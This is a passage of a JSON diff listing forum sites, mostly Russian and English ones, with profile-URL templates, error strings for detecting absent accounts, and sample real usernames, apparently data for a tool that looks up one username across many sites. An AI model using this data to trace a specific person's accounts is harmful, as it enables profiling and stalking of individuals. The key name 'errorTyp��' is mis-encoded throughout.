"country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tagheuerforums.com/members/?username={}", + "urlMain": "https://tagheuerforums.com", + "usernameON": "hubert", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tagilshops": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://taipaqi.moy.su/index/8-0-{}", + "urlMain": "https://taipaqi.moy.su", + "usernameON": "lotly", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taksafonchik": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tambov.clan.su/index/8-0-{}", + "urlMain": "https://tambov.clan.su", + "usernameON": "Xando", + "bad_site": "" + }, + "Forum_tanki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Что-то пошло не так", + "errorTyp��": "message", + "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ru.tankiforum.com", + "usernameON": "anmo", + "bad_site": "" + }, + "Forum_tanknet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.tanknet.org", + "usernameON": "bojan", + "bad_site": "" + }, + "Forum_taragorod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taragorod.ru/index/8-0-{}", + "urlMain": "https://taragorod.ru", + "usernameON": "unlockserver", + "bad_site": "" + }, + "Forum_tarjaturunen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}", + "urlMain": "https://tarjaturunen.ucoz.ru", + "usernameON": "timoxa", + "bad_site": "" + }, + "Forum_taro": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.taro.lv", + "usernameON": "Cha", + "bad_site": "" + }, + "Forum_tarokus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tarokus.ru/index/8-0-{}", + "urlMain": "http://tarokus.ru", + "usernameON": "pridorozhniy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_tarot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://tarot.my1.ru/index/8-0-{}", + "urlMain": "http://tarot.my1.ru", + "usernameON": "seklimqwdal", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tarot-siberia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://tarot-siberia.ru/index/8-0-{}", + "urlMain": "https://tarot-siberia.ru", + "usernameON": "Lila", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taruska": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.taruska.ru/index/8-0-{}", + "urlMain": "http://www.taruska.ru", + "usernameON": "kuhni30", + "bad_site": "" + }, + "Forum_tatfish": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tatfish.com", + "usernameON": "Krilov", + "bad_site": "" + }, + "Forum_tathunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tathunter.ru", + "usernameON": "ramon", + "bad_site": "" + }, + "Forum_tattle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tattle.life/members/?username={}", + "urlMain": "https://tattle.life", + "usernameON": "chita", + "bad_site": "" + }, + "Forum_tauck": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.tauck.com/profile/{}", + "urlMain": "https://forums.tauck.com", + "usernameON": "billzappa", + "bad_site": "" + }, + "Forum_taycan": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanforum.com/forum/members/?username={}", + "urlMain": "https://www.taycanforum.com", + "usernameON": "f1eng", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_taycanev": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanevforum.com/members/?username={}", + "urlMain": "https://www.taycanevforum.com", + "usernameON": "hz1946", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tbrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tbrus.ucoz.ru/index/8-0-{}", + "urlMain": "https://tbrus.ucoz.ru", + "usernameON": "aktotytusipkalieva", + "bad_site": "" + }, + "Forum_tdiclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.tdiclub.com/index.php&members/?username={}", + "urlMain": "https://forums.tdiclub.com", + "usernameON": "matthew16", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_team-pros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://team-pros.3dn.ru/index/8-0-{}", + "urlMain": "https://team-pros.3dn.ru", + "usernameON": "leifwoolned", + "bad_site": "" + }, + "Forum_tebepolezno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tebepolezno.ucoz.ru/index/8-0-{}", + "urlMain": "https://tebepolezno.ucoz.ru", + "usernameON": "Wtgrljya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_techclan_planeta2": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://techclan.planeta2.org/index/8-0-{}", + "urlMain": "http://techclan.planeta2.org", + "usernameON": "youmather", + "bad_site": "" + }, + "Forum_techenclave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://techenclave.com/members/?username={}", + "urlMain": "https://techenclave.com", + "usernameON": "jacob909", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techguy": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techguy.org/members/?username={}", + "urlMain": "https://www.techguy.org", + "usernameON": "novictory", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_techist": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techist.com/forums/members/?username={}", + "urlMain": "https://www.techist.com", + "usernameON": "benefitspils3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_technofino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://technofino.in/community/members/?username={}", + "urlMain": "https://technofino.in", + "usernameON": "abhishek012", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techsupport": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techsupportforum.com/members/?username={}", + "urlMain": "https://www.techsupportforum.com", + "usernameON": "masterchiefxx17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_teckelfriends": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://telesat-news.net/index/8-0-{}", + "urlMain": "https://telesat-news.net/", + "usernameON": "peresihne", + "bad_site": "" + }, + "Forum_tellopilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tellopilots.com/members/?username={}", + "urlMain": "https://tellopilots.com", + "usernameON": "cougare", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tenews": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://teron.at.ua/index/8-0-{}", + "urlMain": "https://teron.at.ua", + "usernameON": "nieminenmik", + "bad_site": "" + }, + "Forum_terraforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.terraforum.net/member.php?username={}", + "urlMain": "https://www.terraforum.net", + "usernameON": "mcdonald", + "comments": "bad", + "bad_site": "" + }, + "Forum_terror62": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terror62.ru/index/8-0-{}", + "urlMain": "http://terror62.ru", + "usernameON": "Trotskiy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_terrylove": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://terrylove.com/forums/index.php?members/&username={}", + "urlMain": "https://terrylove.com", + "usernameON": "arisonpump", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tezosagora": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tezosagora.org/u/{}/summary", + "urlMain": "https://forum.tezosagora.org", + "usernameON": "kevinmehrabi", + "bad_site": "" + }, + "Forum_TG": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tgforum.ru/members/?username={}", + "urlMain": "https://tgforum.ru", + "usernameON": "grigorii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thaidog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-brinkoftime.ru/index/8-0-{}", + "urlMain": "https://the-brinkoftime.ru", + "usernameON": "Kardinal", + "bad_site": "" + }, + "Forum_the-covenant": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-covenant.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-covenant.ucoz.ru", + "usernameON": "Gwynbleidd", + "bad_site": "" + }, + "Forum_the-sunny": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-sunny.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-sunny.ucoz.ru", + "usernameON": "Sejlin", + "bad_site": "" + }, + "Forum_thebassbarn": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thebassbarn.com/members/?username={}", + "urlMain": "https://www.thebassbarn.com/", + "usernameON": "hardtop", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebenchtrading": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thebenchtrading.com/members/?username={}", + "urlMain": "https://thebenchtrading.com/", + "usernameON": "dragonslayer913", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebrownsboard": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thebrownsboard.com", + "usernameON": "calfoxwc", + "bad_site": "" + }, + "Forum_thecatsite": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thecatsite.com/members/?username={}", + "urlMain": "https://thecatsite.com", + "usernameON": "stefanz", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thecoding": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecodingforums.com/members/?username={}", + "urlMain": "https://www.thecodingforums.com/", + "usernameON": "nataliayou", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thecomicboard": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecomicboard.com/members/?username={}", + "urlMain": "https://www.thecomicboard.com", + "usernameON": "selfishmisery", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedaobums": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "Not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.thedaobums.com/search/?&q={}&type=core_members", + "urlMain": "https://www.thedaobums.com", + "usernameON": "Maddie", + "bad_site": "" + }, + "Forum_thedarkmod": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.thedarkmod.com", + "usernameON": "greebo", + "bad_site": "" + }, + "Forum_thedarts": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thedartsforum.com/memberlist.php?username={}", + "urlMain": "https://www.thedartsforum.com", + "usernameON": "ChrisW", + "bad_site": "" + }, + "Forum_theden": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://thedenforum.com/u/{}/summary", + "urlMain": "https://thedenforum.com", + "usernameON": "weaselpuppy", + "bad_site": "" + }, + "Forum_thedieselgarage": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselgarage.com/members/?username={}", + "urlMain": "https://www.thedieselgarage.com", + "usernameON": "carid", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedieselstop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselstop.com/members/?username={}", + "urlMain": "https://www.thedieselstop.com", + "usernameON": "bugman", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedoctorwho": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.thedoctorwhoforum.com/members/{}/", + "urlMain": "https://www.thedoctorwhoforum.com", + "usernameON": "ps1l0v3y0u", + "bad_site": "" + }, + "Forum_thefappeningblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thefappeningblog.com/forum/members/?username={}", + "urlMain": "https://thefappeningblog.com", + "usernameON": "peterwebb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefedoralounge": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefedoralounge.com/members/?username={}", + "urlMain": "https://www.thefedoralounge.com", + "usernameON": "kblake", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefewgoodmen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}", + "urlMain": "https://www.thefewgoodmen.com", + "usernameON": "bootie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefinalfantasy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "STANDARD_ERROR", + "errorMsg3": "content=\"final fantasy,", + "errorTyp��": "message", + "url": "https://thefinalfantasy.net/forums/members/{}/", + "urlMain": "https://thefinalfantasy.net", + "usernameON": "fuzz", + "bad_site": "" + }, + "Forum_thefirearms": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "urlMain": "https://www.thefirearmsforum.com", + "usernameON": "alpo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theflooring": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theflooringforum.com/members/?username={}", + "urlMain": "https://theflooringforum.com", + "usernameON": "dazlight", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefootballforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefootballforum.net/members/?username={}", + "urlMain": "https://www.thefootballforum.net", + "usernameON": "oakroader", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thegambling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "Unavailable", + "errorTyp��": "message", + "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://thegamblingcommunity.com/", + "usernameON": "howfin", + "bad_site": "" + }, + "Forum_thegradcafe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.thegradcafe.com", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_thegreenliving": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted", + "urlMain": "https://permies.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_thegtaplace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " 0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thegtaplace.com", + "usernameON": "chuken", + "bad_site": "" + }, + "Forum_thehomebrew": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thehomebrewforum.co.uk/members/?username={}", + "urlMain": "https://www.thehomebrewforum.co.uk", + "usernameON": "mashbag", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thehuddle": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.thehuddle.com", + "usernameON": "red", + "bad_site": "" + }, + "Forum_theislamicquotes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.theislamicquotes.com/members/?username={}", + "urlMain": "https://forum.theislamicquotes.com", + "usernameON": "awanromesa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theknot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.theknot.com/profile/{}", + "urlMain": "https://forums.theknot.com", + "usernameON": "mrsconn23", + "bad_site": "" + }, + "Forum_thektog": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thektog.org/members/?username={}", + "urlMain": "https://www.thektog.org", + "usernameON": "editor", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thelaw": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thelaw.com/members/?username={}", + "urlMain": "https://www.thelaw.com", + "usernameON": "zddoodah", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_themodernfilmmaker": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile", + "urlMain": "https://www.themodernfilmmaker.com", + "usernameON": "shadrachhanohano", + "bad_site": "" + }, + "Forum_theohiooutdoors": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theohiooutdoors.com/members/?username={}", + "urlMain": "https://theohiooutdoors.com", + "usernameON": "p8riot", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theologyonline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theologyonline.com/members/?username={}", + "urlMain": "https://theologyonline.com", + "usernameON": "benavraham", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://theoutlander.ru/index/8-0-{}", + "urlMain": "https://theoutlander.ru", + "usernameON": "talia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_thepatriotwoodworker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thepatriotwoodworker.com", + "usernameON": "frederickh", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_thephins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephins.com/members/?username={}", + "urlMain": "https://www.thephins.com", + "usernameON": "dolphin25", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thephoto": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephotoforum.com/members/?username={}", + "urlMain": "https://www.thephotoforum.com", + "usernameON": "sterk03", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theprodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "urlMain": "https://forum.theprodigy.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_thepw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members", + "urlMain": "http://forum.thepw.ru", + "usernameON": "thepwsupport", + "bad_site": "" + }, + "Forum_therepair": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "title>Упс! Что-то пошло не так", + "errorMsg2": "Найдено 0 результатов", + "errorTyp��": "message", + "url": "https://therepair.ru/search/?&q={}", + "urlMain": "https://therepair.ru", + "usernameON": "Engineer", + "comments": "bad", + "bad_site": "" + }, + "Forum_therpf": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.therpf.com/forums/members/?username={}", + "urlMain": "https://www.therpf.com", + "usernameON": "wayneb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thesandtrap": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thesandtrap.com", + "usernameON": "iacas", + "bad_site": "" + }, + "Forum_thescienceforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.thescienceforum.com/member.php?username={}", + "urlMain": "http://www.thescienceforum.com", + "usernameON": "mathman", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thesimsworldnew": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thesimsworldnew.ru/index/8-0-{}", + "urlMain": "http://www.thesimsworldnew.ru", + "usernameON": "Samara", + "bad_site": "" + }, + "Forum_thesmartmarks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members", + "urlMain": "https://forums.thesmartmarks.com", + "usernameON": "janusd", + "bad_site": "" + }, + "Forum_thewatchsite": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thewatchsite.com/members/?username={}", + "urlMain": "https://www.thewatchsite.com/", + "usernameON": "gatsuk", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thewhitewolf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thewhitewolf.3dn.ru/index/8-0-{}", + "urlMain": "https://thewhitewolf.3dn.ru/", + "usernameON": "ttaletpbod", + "bad_site": "" + }, + "Forum_thewindowsforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thewindowsforum.com/members/?username={}", + "urlMain": "https://thewindowsforum.com", + "usernameON": "mook777", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thrash-attack": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": 